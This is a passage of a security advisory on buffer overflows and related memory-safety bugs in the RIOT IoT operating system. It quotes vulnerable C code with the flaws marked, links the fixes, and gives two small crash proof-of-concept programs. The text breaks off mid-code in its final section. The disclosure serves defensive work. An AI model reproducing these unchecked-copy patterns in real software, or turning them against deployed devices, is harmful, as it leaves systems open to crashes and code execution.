<pre><code>--[ HNS-2024-07 - HN Security Advisory - https://security.humanativaspa.it/<br /><br />* Title: Multiple vulnerabilities in RIOT OS<br />* OS: RIOT <= 2024.01<br />* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it><br />* Date: 2024-05-07<br />* CVE ID and severity:<br /> * CVE-2024-31225 - High<br /> * CVE-2024-32017 - Critical<br /> * CVE-2024-32018 - High<br /> (low-severity vulnerabilities were not assigned a CVE ID)<br />* Vendor URL: https://www.riot-os.org/<br />* Advisory URLs: <br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2572-7q7c-3965<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-v97j-w9m6-c4h3<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-899m-q6pp-hmp3<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x3j5-hfrr-5x6q<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-pw2r-pp35-xfmj<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-c4p4-vv7v-3hx8<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-r87w-9vw9-f7cx<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2hx7-c324-3rxv<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-frp5-4gfp-84j3<br /> * https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x27v-gqp4-7jq3<br /><br /><br />--[ 0 - Table of contents<br /><br />1 - Summary<br />2 - Background<br />3 - Vulnerabilities<br /> 3.1 - CVE-2024-31225 - Lack of size check and buffer overflow in RIOT /sys/net/application_layer/cord/lc/cord_lc.c<br /> 3.2 - CVE-2024-32017 - Buffer overflows in RIOT /sys/net/application_layer/gcoap/<br /> 3.3 - CVE-2024-32018 - Ineffective size check due to assert() and buffer overflow in RIOT /pkg/nimble/scanlist/nimble_scanlist.c<br /> 3.4 - Unsafe use of the return value of vsnprintf() and out-of-bounds memory access in RIOT /cpu/esp_common/lib_printf.c<br /> 3.5 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/net/ble/skald/skald_eddystone.c<br /> 3.6 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/suit/handlers_command_seq.c<br /> 3.7 - Integer wraparound and buffer overflow in RIOT /drivers/mtd_emulated/mtd_emulated.c<br /> 3.8 - Off-by-one buffer overflow and unterminated string in RIOT /pkg/lwext4/fs/lwext4_fs.c<br /> 3.9 - Unsafe use of the return value of snprintf() and out-of-bounds memory access in RIOT /sys/shell/cmds/vfs.c<br /> 3.10 - Lack of size checks and buffer overflows in RIOT /sys/net/application_layer/emcute/emcute.c<br />4 - Affected products<br />5 - Remediation<br />6 - Disclosure timeline<br />7 - Acknowledgments<br />8 - References<br /><br /><br />--[ 1 - Summary<br /><br />"Where there is parsing, there are bugs." <br /> -- Dr. Silvio Cesare<br /><br />RIOT [1] is a free, open-source, real-time operating system developed by a<br />grassroots community gathering companies, academia, and hobbyists, distributed<br />all around the world. It supports most low-power IoT devices, microcontroller<br />architectures (32-bit, 16-bit, 8-bit), and external devices. RIOT aims to<br />implement all relevant open standards supporting an Internet of Things that is<br />connected, secure, durable, and privacy friendly.<br /><br />We reviewed RIOT's source code hosted on GitHub [2] and identified multiple<br />security vulnerabilities that may cause memory corruption. Their impacts range<br />from denial of service to potential arbitrary code execution.<br /><br /><br />--[ 2 - Background<br /><br />Continuing our recent vulnerability research work in the IoT space [3] [4], we<br />keep assisting open-source projects in finding and fixing vulnerabilities by<br />reviewing their source code, with the final goal to make IoT more secure. In<br />January 2024, RIOT was selected as a target of interest.<br /><br />During the source code review, we put our Semgrep C/C++ ruleset [5] and weggli<br />pattern collection [6] to good use to identify hotspots in code on which to<br />focus our attention.<br /><br /><br />--[ 3 - Vulnerabilities<br /><br />The vulnerabilities resulting from our source code review are briefly described<br />in the following sections.<br /><br /><br />--[ 3.1 - CVE-2024-31225 - Lack of size check and buffer overflow in RIOT /sys/net/application_layer/cord/lc/cord_lc.c<br /><br />We spotted the lack of a size check that may lead to a buffer overflow in RIOT<br />source code at:<br /><br />* /sys/net/application_layer/cord/lc/cord_lc.c<br /><br />The `_on_rd_init()` function does not implement a size check before copying<br />data to the `_result_buf` static buffer. If an attacker can craft a long enough<br />payload, they could cause a buffer overflow.<br /><br />See the marked line below:<br />```c<br />static void _on_rd_init(const gcoap_request_memo_t *memo, coap_pkt_t *pdu,<br /> const sock_udp_ep_t *remote)<br />{<br /> (void)remote;<br /><br /> thread_flags_t flag = FLAG_NORSC;<br /><br /> if (memo->state == GCOAP_MEMO_RESP) {<br /> unsigned ct = coap_get_content_type(pdu);<br /> if (ct != COAP_FORMAT_LINK) {<br /> DEBUG("cord_lc: error payload not in link format: %u\n", ct);<br /> goto end;<br /> }<br /> if (pdu->payload_len == 0) {<br /> DEBUG("cord_lc: error empty payload\n");<br /> goto end;<br /> }<br /> memcpy(_result_buf, pdu->payload, pdu->payload_len); // VULN: lack of size check and potential buffer overflow<br /> _result_buf_len = pdu->payload_len;<br /> _result_buf[_result_buf_len] = '\0';<br /> flag = FLAG_SUCCESS;<br /> } else if (memo->state == GCOAP_MEMO_TIMEOUT) {<br /> flag = FLAG_TIMEOUT;<br /> }<br /><br />end:<br /> if (flag != FLAG_SUCCESS) {<br /> _result_buf = NULL;<br /> _result_buf_len = 0;<br /> }<br /> thread_flags_set(_waiter, flag);<br />}<br />```<br /><br />Note that the `_on_lookup()` function in the same file does implement such an<br />explicit size check:<br />```c<br />static void _on_lookup(const gcoap_request_memo_t *memo, coap_pkt_t *pdu,<br /> const sock_udp_ep_t *remote)<br />{<br /> (void)remote;<br /><br /> thread_flags_t flag = FLAG_ERR;<br /><br /> if (memo->state == GCOAP_MEMO_RESP) {<br /> unsigned ct = coap_get_content_type(pdu);<br /> if (ct != COAP_FORMAT_LINK) {<br /> DEBUG("cord_lc: unsupported content format: %u\n", ct);<br /> thread_flags_set(_waiter, flag);<br /> }<br /> if (pdu->payload_len == 0) {<br /> flag = FLAG_NORSC;<br /> thread_flags_set(_waiter, flag);<br /> }<br /> if (pdu->payload_len >= _result_buf_len) { // CHECK<br /> flag = FLAG_OVERFLOW;<br /> thread_flags_set(_waiter, flag);<br /> }<br /> memcpy(_result_buf, pdu->payload, pdu->payload_len);<br /> memset(_result_buf + pdu->payload_len, 0,<br /> _result_buf_len - pdu->payload_len);<br /> _result_buf_len = pdu->payload_len;<br /> flag = FLAG_SUCCESS;<br /> } else if (memo->state == GCOAP_MEMO_TIMEOUT) {<br /> flag = FLAG_TIMEOUT;<br /> }<br /><br /> thread_flags_set(_waiter, flag);<br />}<br />```<br /><br />If the unchecked input above is attacker-controlled and crosses a security<br />boundary, the impact of the buffer overflow vulnerability could range from<br />denial of service to arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20547<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2572-7q7c-3965<br /><br /><br />--[ 3.2 - CVE-2024-32017 - Buffer overflows in RIOT /sys/net/application_layer/gcoap/<br /><br />We spotted a typo in a size check that may lead to a buffer overflow in RIOT<br />source code at:<br /><br />* /sys/net/application_layer/gcoap/dns.c<br /><br />We also spotted another potential buffer overflow in RIOT source code at:<br /><br />* /sys/net/application_layer/gcoap/forward_proxy.c<br /><br />The size check in the `gcoap_dns_server_proxy_get()` function contains a small<br />typo that may lead to a buffer overflow in the subsequent `strcpy()`. The<br />length of the `_uri` string is checked instead of the length of the `_proxy`<br />string.<br /><br />See the marked lines below:<br />```c<br />ssize_t gcoap_dns_server_proxy_get(char *proxy, size_t proxy_len)<br />{<br /> ssize_t res = 0;<br /> mutex_lock(&_client_mutex);<br /> if (_dns_server_uri_isset()) {<br /> res = strlen(_uri); // VULN: typo, should be strlen(_proxy)<br /> if (((size_t)res + 1) > proxy_len) {<br /> /* account for trailing \0 */<br /> res = -ENOBUFS;<br /> }<br /> else {<br /> strcpy(proxy, _proxy); // VULN: potential buffer overflow<br /> }<br /> }<br /> mutex_unlock(&_client_mutex);<br /> return res;<br />}<br />```<br /><br />The `_gcoap_forward_proxy_copy_options()` function does not implement an<br />explicit size check before copying data to the `cep->req_etag` buffer that is<br />`COAP_ETAG_LENGTH_MAX` bytes long. If an attacker can craft input so that<br />optlen becomes larger than `COAP_ETAG_LENGTH_MAX`, they can cause a buffer<br />overflow.<br /><br />See the marked line below:<br />```c<br />static int _gcoap_forward_proxy_copy_options(coap_pkt_t *pkt,<br /> coap_pkt_t *client_pkt,<br /> client_ep_t *cep,<br /> uri_parser_result_t *urip)<br />{<br /> /* copy all options from client_pkt to pkt */<br /> coap_optpos_t opt = {0, 0};<br /> uint8_t *value;<br /> bool uri_path_added = false;<br /> bool etag_added = false;<br /><br /> for (int i = 0; i < client_pkt->options_len; i++) {<br /> ssize_t optlen = coap_opt_get_next(client_pkt, &opt, &value, !i);<br /> /* wrt to ETag option slack: we always have at least the Proxy-URI option in the client_pkt,<br /> * so we should hit at least once (and it's opt_num is also >= COAP_OPT_ETAG) */<br /> if (optlen >= 0) {<br /> if (IS_USED(MODULE_NANOCOAP_CACHE) && !etag_added && (opt.opt_num >= COAP_OPT_ETAG)) {<br /> static const uint8_t tmp[COAP_ETAG_LENGTH_MAX] = { 0 };<br /> /* add slack to maybe add an ETag on stale cache hit later, as is done in<br /> * gcoap_req_send() (which we circumvented in _gcoap_forward_proxy_via_coap()) */<br /> if (coap_opt_add_opaque(pkt, COAP_OPT_ETAG, tmp, sizeof(tmp))) {<br /> etag_added = true;<br /> }<br /> }<br /> if (IS_USED(MODULE_NANOCOAP_CACHE) && opt.opt_num == COAP_OPT_ETAG) {<br /> if (_cep_get_req_etag_len(cep) == 0) {<br /> /* TODO: what to do on multiple ETags? */<br /> _cep_set_req_etag_len(cep, (uint8_t)optlen);<br />#if IS_USED(MODULE_NANOCOAP_CACHE)<br /> /* req_tag in cep is pre-processor guarded so we need to as well */<br /> memcpy(cep->req_etag, value, optlen); // VULN: potential buffer overflow if optlen can become larger than COAP_ETAG_LENGTH_MAX<br />#endif<br />...<br />```<br /><br />If the input above is attacker-controlled and crosses a security boundary, the<br />impact of the buffer overflow vulnerabilities could range from denial of<br />service to arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20561<br />https://github.com/RIOT-OS/RIOT/pull/20579<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-v97j-w9m6-c4h3<br /><br /><br />--[ 3.3 - CVE-2024-32018 - Ineffective size check due to assert() and buffer overflow in RIOT /pkg/nimble/scanlist/nimble_scanlist.c<br /><br />We spotted an ineffective size check implemented via `assert()` that may lead<br />to a buffer overflow in RIOT source code at:<br /><br />* /pkg/nimble/scanlist/nimble_scanlist.c<br /><br />Most codebases define assertion macros which compile to a no-op on non-debug<br />builds. If assertions are the only line of defense against untrusted input, the<br />software may be exposed to attacks that leverage the lack of proper input<br />checks.<br /><br />In detail, in the `nimble_scanlist_update()` function below, `len` is checked<br />in an assertion and subsequently used in a call to `memcpy()`. If an attacker<br />is able to provide a larger `len` value while assertions are compiled-out, they<br />can write past the end of the fixed-length `e->ad` buffer.<br /><br />See the marked lines below:<br />```c<br />/**<br /> * @brief Data structure for holding a single scanlist entry<br /> */<br />typedef struct {<br /> clist_node_t node; /**< list node */<br /> ble_addr_t addr; /**< a node's BLE address */<br /> uint8_t ad[BLE_ADV_PDU_LEN]; /**< the received raw advertising data */<br /> uint8_t ad_len; /**< length of the advertising data */<br /> int8_t last_rssi; /**< last RSSI of a scanned node */<br /> uint32_t adv_msg_cnt; /**< number of adv packets by a node */<br /> uint32_t first_update; /**< first packet timestamp */<br /> uint32_t last_update; /**< last packet timestamp */<br /> uint8_t type; /**< advertising packet type */<br /> uint8_t phy_pri; /**< primary PHY used */<br /> uint8_t phy_sec; /**< secondary PHY advertised */<br />} nimble_scanlist_entry_t;<br /><br />...<br /><br />void nimble_scanlist_update(uint8_t type, const ble_addr_t *addr,<br /> const nimble_scanner_info_t *info,<br /> const uint8_t *ad, size_t len)<br />{<br /> assert(addr);<br /> assert(len <= BLE_ADV_PDU_LEN); // VULN: len is checked to be <= BLE_ADV_PDU_LEN only via an assertion<br /><br /> uint32_t now = (uint32_t)ztimer_now(ZTIMER_USEC);<br /> nimble_scanlist_entry_t *e = _find(addr);<br /><br /> if (!e) {<br /> e = (nimble_scanlist_entry_t *)clist_lpop(&_pool);<br /> if (!e) {<br /> /* no space available, dropping newly discovered node */<br /> return;<br /> }<br /> memcpy(&e->addr, addr, sizeof(ble_addr_t));<br /> if (ad) {<br /> memcpy(e->ad, ad, len); // VULN: if len is actually larger than BLE_ADV_PDU_LEN there's a potential buffer overflow<br /> }<br /> e->ad_len = len;<br /> e->last_rssi = info->rssi;<br /> e->first_update = now;<br /> e->adv_msg_cnt = 1;<br /> e->type = type;<br /> e->phy_pri = info->phy_pri;<br /> e->phy_sec = info->phy_sec;<br /> clist_rpush(&_list, (clist_node_t *)e);<br /> }<br /> else {<br /> e->adv_msg_cnt++;<br /> }<br /><br /> e->last_update = now;<br />}<br />```<br /><br />If the unchecked input above is attacker-controlled and crosses a security<br />boundary, the impact of the buffer overflow vulnerability could range from<br />denial of service to arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20555<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-899m-q6pp-hmp3<br /><br /><br />--[ 3.4 - Unsafe use of the return value of vsnprintf() and out-of-bounds memory access in RIOT /cpu/esp_common/lib_printf.c<br /><br />We spotted an unsafe use of the return value of `vsnprintf()` that leads to an<br />out-of-bounds memory access in RIOT source code at:<br /><br />* /cpu/esp_common/lib_printf.c<br /><br />The `vsnprintf()` API function returns the number of characters (excluding the<br />terminating NUL byte) which would have been written to the destination string<br />if enough space had been available. <br /><br />If an attacker is able to craft input so that the final string would become<br />larger than `PRINTF_BUFSIZ`, they can exploit this bug to overwrite a '\n',<br />'\r' or ' ' byte (or a sequence of such bytes) with a NUL byte in memory past<br />the end of the `_printf_buf` static buffer. In addition, the tainted `len`<br />value is returned at the end of the `_lib_printf()` function and may be used<br />unsafely (e.g., as an array index) elsewhere in the code.<br /><br />See the marked lines below:<br />```c<br />static char _printf_buf[PRINTF_BUFSIZ];<br /><br />static int _lib_printf(int level, const char* tag, const char* format, va_list arg)<br />{<br /> if (level > LOG_LEVEL) {<br /> return 0;<br /> }<br /><br /> int len = vsnprintf(_printf_buf, PRINTF_BUFSIZ - 1, format, arg); // VULN: vsnprintf() returns the total length of the string it tried to create, which may be larger than the actual size of the destination string<br /><br /> /*<br /> * Since ESP_EARLY_LOG macros add a line break at the end, a terminating<br /> * line break in the output must be removed if there is one.<br /> */<br /> _printf_buf[PRINTF_BUFSIZ - 1] = 0;<br /> int i;<br /> for (i = len - 1; i >= 0; --i) {<br /> if (_printf_buf[i] != '\n' && _printf_buf[i] != '\r' && _printf_buf[i] != ' ') {<br /> break;<br /> }<br /> _printf_buf[i] = 0; // VULN: very limited oob array write access<br /> }<br /> if (i > 0) {<br /> ESP_EARLY_LOGI(tag, "%s", _printf_buf);<br /> }<br /> va_end(arg);<br /> return len; // VULN: tainted len value is returned<br />}<br />```<br /><br />In our understanding, the impact of this vulnerability in this specific case is<br />quite limited. However, all bugs that have the potential to cause memory<br />corruption should be taken seriously and fixed as security bugs.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20596<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x3j5-hfrr-5x6q<br /><br /><br />--[ 3.5 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/net/ble/skald/skald_eddystone.c<br /><br />We spotted an ineffective size check implemented via `assert()` that may lead<br />to a buffer overflow in RIOT source code at:<br /><br />* /sys/net/ble/skald/skald_eddystone.c<br /><br />Most codebases define assertion macros which compile to a no-op on non-debug<br />builds. If assertions are the only line of defense against untrusted input, the<br />software may be exposed to attacks that leverage the lack of proper input<br />checks. <br /><br />In detail, in the `skald_eddystone_url_adv()` function below, `len` is checked<br />in an assertion and subsequently used in a call to `memcpy()`. If an attacker<br />is able to provide a large `url` while assertions are compiled-out, they can<br />write past the end of the `pdu->url` buffer.<br /><br />See the marked lines below:<br />```c<br />void skald_eddystone_url_adv(skald_ctx_t *ctx,<br /> uint8_t scheme, const char *url, uint8_t tx_pwr,<br /> uint32_t adv_itvl_ms)<br />{<br /> assert(url && ctx);<br /> size_t len = strlen(url);<br /> assert(len <= (NETDEV_BLE_PDU_MAXLEN - (URL_HDR_LEN + PREAMBLE_LEN))); // VULN: len is checked only via an assertion<br /><br /> eddy_url_t *pdu = (eddy_url_t *)ctx->pkt.pdu;<br /> _init_pre(&pdu->pre, EDDYSTONE_URL, (URL_HDR_LEN + len));<br /><br /> /* set remaining service data fields */<br /> pdu->tx_pwr = tx_pwr;<br /> pdu->scheme = scheme;<br /> memcpy(pdu->url, url, len); // VULN: if len is actually larger than expected there's a potential buffer overflow<br /><br /> /* start advertising */<br /> ctx->pkt.len = (sizeof(pre_t) + 2 + len);<br /> ctx->adv_itvl_ms = adv_itvl_ms;<br /> skald_adv_start(ctx);<br />}<br />```<br /><br />If the unchecked input above is attacker-controlled and crosses a security<br />boundary, the impact of the buffer overflow vulnerability could range from<br />denial of service to arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20577<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-pw2r-pp35-xfmj<br /><br /><br />--[ 3.6 - Ineffective size check due to assert() and buffer overflow in RIOT /sys/suit/handlers_command_seq.c<br /><br />We spotted an ineffective size check implemented via `assert()` that may lead<br />to a buffer overflow in RIOT source code at:<br /><br />* /sys/suit/handlers_command_seq.c<br /><br />Most codebases define assertion macros which compile to a no-op on non-debug<br />builds. If assertions are the only line of defense against untrusted input, the<br />software may be exposed to attacks that leverage the lack of proper input<br />checks. <br /><br />In detail, in the `_dtv_fetch()` function below, `url_len` is checked in an<br />assertion and subsequently used in a call to `memcpy()`. If an attacker is able<br />to provide a large `url` while assertions are compiled-out, they can write past<br />the end of the `manifest->urlbuf` buffer.<br /><br />See the marked lines below:<br />```c<br />static int _dtv_fetch(suit_manifest_t *manifest, int key,<br /> nanocbor_value_t *_it)<br />{<br /> (void)key; (void)_it;<br /> LOG_DEBUG("_dtv_fetch() key=%i\n", key);<br /><br /> const uint8_t *url;<br /> size_t url_len;<br /><br /> /* Check the policy before fetching anything */<br /> int res = suit_policy_check(manifest);<br /> if (res) {<br /> return SUIT_ERR_POLICY_FORBIDDEN;<br /> }<br /><br /> suit_component_t *comp = _get_component(manifest);<br /><br /> /* Deny the fetch if the component was already fetched before */<br /> if (suit_component_check_flag(comp, SUIT_COMPONENT_STATE_FETCHED)) {<br /> LOG_ERROR("Component already fetched before\n");<br /> return SUIT_ERR_INVALID_MANIFEST;<br /> }<br /><br /> nanocbor_value_t param_uri;<br /> suit_param_ref_to_cbor(manifest, &comp->param_uri,<br /> &param_uri);<br /> int err = nanocbor_get_tstr(&param_uri, &url, &url_len);<br /> if (err < 0) {<br /> LOG_DEBUG("URL parsing failed\n)");<br /> return err;<br /> }<br /><br /> assert(manifest->urlbuf && url_len < manifest->urlbuf_len); // VULN: url_len is checked only via an assertion<br /> memcpy(manifest->urlbuf, url, url_len); // VULN: if url_len is actually larger than expected there's a potential buffer overflow<br /> manifest->urlbuf[url_len] = '\0';<br />...<br />```<br /><br />If the unchecked input above is attacker-controlled and crosses a security<br />boundary, the impact of the buffer overflow vulnerability could range from<br />denial of service to arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20559<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-c4p4-vv7v-3hx8<br /><br /><br />--[ 3.7 - Integer wraparound and buffer overflow in RIOT /drivers/mtd_emulated/mtd_emulated.c<br /><br />We spotted an integer wraparound in a size check that leads to a buffer<br />overflow in RIOT source code at:<br /><br />* /drivers/mtd_emulated/mtd_emulated.c<br /><br />If an attacker is able to provide arbitrary values for the `num` and `sector`<br />arguments to the `_erase_sector()` function, they can cause an integer<br />wraparound to bypass the size check and cause a buffer overflow.<br /><br />See the marked lines below:<br />```c<br />static int _erase_sector(mtd_dev_t *dev, uint32_t sector, uint32_t num)<br />{<br /> mtd_emulated_t *mtd = (mtd_emulated_t *)dev;<br /><br /> (void)mtd;<br /> assert(mtd);<br /><br /> if (/* sector must not exceed the number of sectors */<br /> (sector >= mtd->base.sector_count) ||<br /> /* sector + num must not exceed the number of sectors */<br /> ((sector + num) > mtd->base.sector_count)) { // VULN: integer wraparound in size check<br /> return -EOVERFLOW;<br /> }<br /><br /> memset(mtd->memory + (sector * (mtd->base.pages_per_sector * mtd->base.page_size)),<br /> 0xff, num * (mtd->base.pages_per_sector * mtd->base.page_size)); // VULN: buffer overflow<br /><br /> return 0;<br />}<br />```<br /><br />We put together a quick proof-of-concept to demonstrate this issue:<br />```<br />raptor@blumenkraft Research % cat wraparound5.c<br />#include <stdio.h><br />#include <stdlib.h><br />#include <inttypes.h><br /><br />#define SECTOR_COUNT 256<br /><br />static int _erase_sector(uint32_t sector, uint32_t num)<br />{<br /> if (/* sector must not exceed the number of sectors */<br /> (sector >= SECTOR_COUNT) ||<br /> /* sector + num must not exceed the number of sectors */<br /> ((sector + num) > SECTOR_COUNT)) { // VULN: wraparound<br /> printf("OVERFLOW\n");<br /> return 1;<br /> }<br /><br /> printf("sector + num = %"PRIu32"\n", sector + num);<br /><br /> return 0;<br />}<br /><br />int main(int argc, char **argv)<br />{<br /> if (argc < 3)<br /> return 1;<br /><br /> return _erase_sector(atoi(argv[1]), atoi(argv[2]));<br />}<br />raptor@blumenkraft Research % make wraparound5<br />cc wraparound5.c -o wraparound5<br />raptor@blumenkraft Research % ./wraparound5 250 10<br />OVERFLOW<br />raptor@blumenkraft Research % ./wraparound5 250 4294967295<br />sector + num = 249<br />```<br /><br />If the input above is attacker-controlled and crosses a security boundary, the<br />impact of the buffer overflow vulnerability could range from denial of service<br />to (less likely in this case) arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20587<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-r87w-9vw9-f7cx<br /><br /><br />--[ 3.8 - Off-by-one buffer overflow and unterminated string in RIOT /pkg/lwext4/fs/lwext4_fs.c<br /><br />We spotted an off-by-one buffer overflow in RIOT source code at:<br /><br />* /pkg/lwext4/fs/lwext4_fs.c<br /><br />We also spotted the lack of explicit NUL-termination after strncpy() in the<br />same file.<br /><br />If an attacker is able to make `mount_point` at least `CONFIG_EXT4_MAX_MP_NAME`<br />bytes large, `strcat()` would write a NUL byte past the end of the `mp.name`<br />buffer, thus potentially overwriting the next member of the `ext4_mountpoint`<br />struct [7].<br /><br />See the marked line below:<br />```c<br />static int prepare(lwext4_desc_t *fs, const char *mount_point)<br />{<br /> mtd_dev_t *dev = fs->dev;<br /> struct ext4_blockdev_iface *iface = &fs->iface;<br /><br /> memset(&fs->mp, 0, sizeof(fs->mp));<br /> memset(&fs->bdev, 0, sizeof(fs->bdev));<br /> memset(&fs->iface, 0, sizeof(fs->iface));<br /><br /> strncpy(fs->mp.name, mount_point, CONFIG_EXT4_MAX_MP_NAME);<br /> strcat(fs->mp.name, "/"); // VULN: off-by-one buffer overflow<br /><br /> int res = mtd_init(dev);<br /> if (res) {<br /> return res;<br /> }<br />...<br />```<br /><br />Since `sizeof(dirent->name)` is 255 and `sizeof(entry->d_name)` is only 32, if<br />an attacker can control the input to `strncpy()` they would be able to create a<br />non NUL-terminated string in `entry->d_name`. When such corrupted string is<br />used in other parts of the code, it may cause information leakage or memory<br />corruption.<br /><br />See the marked line below:<br />```c<br />static int _readdir(vfs_DIR *dirp, vfs_dirent_t *entry)<br />{<br /> ext4_dir *dir = _get_ext4_dir(dirp);<br /><br /> const ext4_direntry *dirent = ext4_dir_entry_next(dir);<br /> if (dirent == NULL) {<br /> return 0;<br /> }<br /><br /> strncpy(entry->d_name, (char *)dirent->name, sizeof(entry->d_name)); // VULN<br /><br /> return 1;<br />}<br />```<br /><br />In our understanding, the impact of these vulnerabilities in this specific case<br />is quite limited. However, all bugs that have the potential to cause memory<br />corruption should be taken seriously and fixed as security bugs.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20586<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-2hx7-c324-3rxv<br /><br /><br />--[ 3.9 - Unsafe use of the return value of snprintf() and out-of-bounds memory access in RIOT /sys/shell/cmds/vfs.c<br /><br />We spotted an unsafe use of the return value of `snprintf()` that leads to an<br />out-of-bounds memory access in RIOT source code at:<br /><br />* /sys/shell/cmds/vfs.c<br /><br />The `snprintf()` function returns the number of characters (excluding the<br />terminating NUL byte) which would have been written to the destination string<br />if enough space had been available. <br /><br />If an attacker is able to craft input so that the final string would become<br />larger than `bs`, they can exploit this bug to cause a buffer overflow.<br /><br />See the marked lines below:<br />```c<br />static void _write_block(int fd, unsigned bs, unsigned i)<br />{<br /> char block[bs];<br /> char *buf = block;<br /><br /> buf += snprintf(buf, bs, "|%03u|", i); // VULN: snprintf() returns the total length of the string it tried to create, which may be larger than bs<br /><br /> memset(buf, _get_char(i), &block[bs] - buf); // VULN: buf can point past the block buffer, in addition &block[bs] - buf would be negative and become a large unsigned value<br /> block[bs - 1] = '\n';<br /><br /> vfs_write(fd, block, bs);<br />}<br />```<br /><br />We put together a quick proof-of-concept to demonstrate this issue:<br />```<br />raptor@blumenkraft Research % cat ret1.c<br />#include <stdio.h><br />#include <string.h><br />#include <stdlib.h><br /><br />static char _get_char(unsigned i)<br />{<br /> i %= 62; /* a-z, A-Z, 0..9, -> 62 characters */<br /><br /> if (i < 10) {<br /> return '0' + i;<br /> }<br /> i -= 10;<br /><br /> if (i <= 'z' - 'a') {<br /> return 'a' + i;<br /> }<br /> i -= 1 + 'z' - 'a';<br /><br /> return 'A' + i;<br />}<br /><br />static void _write_block(unsigned bs, unsigned i)<br />{<br /> char block[bs];<br /> char *buf = block;<br /><br /> buf += snprintf(buf, bs, "|%03u|", i); // VULN: unsafe use of return value<br /><br /> memset(buf, _get_char(i), &block[bs] - buf); // VULN: oob memory write, size becomes a large unsigned value<br /> block[bs - 1] = '\n';<br />}<br /><br />int main(int argc, char **argv)<br />{<br /> if (argc < 3)<br /> return 1;<br /><br /> _write_block(atoi(argv[1]), atoi(argv[2]));<br /><br /> return 0;<br />}<br />raptor@blumenkraft Research % make ret1<br />cc ret1.c -o ret1<br />raptor@blumenkraft Research % ./ret1 5 10<br />raptor@blumenkraft Research % ./ret1 5 1000000<br />zsh: segmentation fault ./ret1 5 1000000<br />```<br /><br />If the input above is attacker-controlled and crosses a security boundary, the<br />impact of the buffer overflow vulnerability could range from denial of service<br />to (less likely in this case) arbitrary code execution.<br /><br />Fixes:<br />https://github.com/RIOT-OS/RIOT/pull/20546<br />https://github.com/RIOT-OS/RIOT/pull/20595<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-frp5-4gfp-84j3<br /><br /><br />--[ 3.10 - Lack of size checks and buffer overflows in RIOT /sys/net/application_layer/emcute/emcute.c<br /><br />We spotted the lack of size checks that may lead to buffer overflows in RIOT<br />source code at:<br /><br />* /sys/net/application_layer/emcute/emcute.c<br /><br />The `emcute_con()` function does not implement a size check before copying data<br />to the `tbuf` static buffer. If an attacker can craft a long enough payload,<br />they could cause a buffer overflow.<br /><br />See the marked line below:<br />```c<br />int emcute_con(sock_udp_ep_t *remote, bool clean, const char *will_topic,<br /> const void *will_msg, size_t will_msg_len, unsigned will_flags)<br />{<br /> int res;<br /> size_t len;<br /><br /> assert(!will_topic || (will_topic && will_msg && !(will_flags & ~PUB_FLAGS)));<br /><br /> mutex_lock(&txlock);<br /><br /> /* check for existing connections and copy given UDP endpoint */<br /> if (gateway.port != 0) {<br /> return EMCUTE_NOGW;<br /> }<br /> memcpy(&gateway, remote, sizeof(sock_udp_ep_t));<br /><br /> /* figure out which flags to set */<br /> uint8_t flags = (clean) ? EMCUTE_CS : 0;<br /> if (will_topic) {<br /> flags |= EMCUTE_WILL;<br /> }<br /><br /> /* compute packet size */<br /> len = (strlen(cli_id) + 6);<br /> tbuf[0] = (uint8_t)len;<br /> tbuf[1] = CONNECT;<br /> tbuf[2] = flags;<br /> tbuf[3] = PROTOCOL_VERSION;<br /> byteorder_htobebufs(&tbuf[4], CONFIG_EMCUTE_KEEPALIVE);<br /> memcpy(&tbuf[6], cli_id, strlen(cli_id)); // VULN: lack of size check and potential buffer overflow<br />...<br />```<br /><br />The `emcute_unsub()` function does not implement a size check before copying<br />data to the `tbuf` static buffer. If an attacker can craft a long enough<br />payload, they could cause a buffer overflow.<br /><br />See the marked line below:<br />```c<br />int emcute_unsub(emcute_sub_t *sub)<br />{<br /> assert(sub && sub->topic.name);<br /><br /> if (gateway.port == 0) {<br /> return EMCUTE_NOGW;<br /> }<br /><br /> mutex_lock(&txlock);<br /><br /> tbuf[0] = (strlen(sub->topic.name) + 5);<br /> tbuf[1] = UNSUBSCRIBE;<br /> tbuf[2] = 0;<br /> byteorder_htobebufs(&tbuf[3], id_next);<br /> waitonid = id_next++;<br /> memcpy(&tbuf[5], sub->topic.name, strlen(sub->topic.name)); // VULN: lack of size check and potential buffer overflow<br /><br /> int res = syncsend(UNSUBACK, (size_t)tbuf[0], false);<br /> if (res == EMCUTE_OK) {<br /> if (subs == sub) {<br /> subs = sub->next;<br /> }<br /> else {<br /> 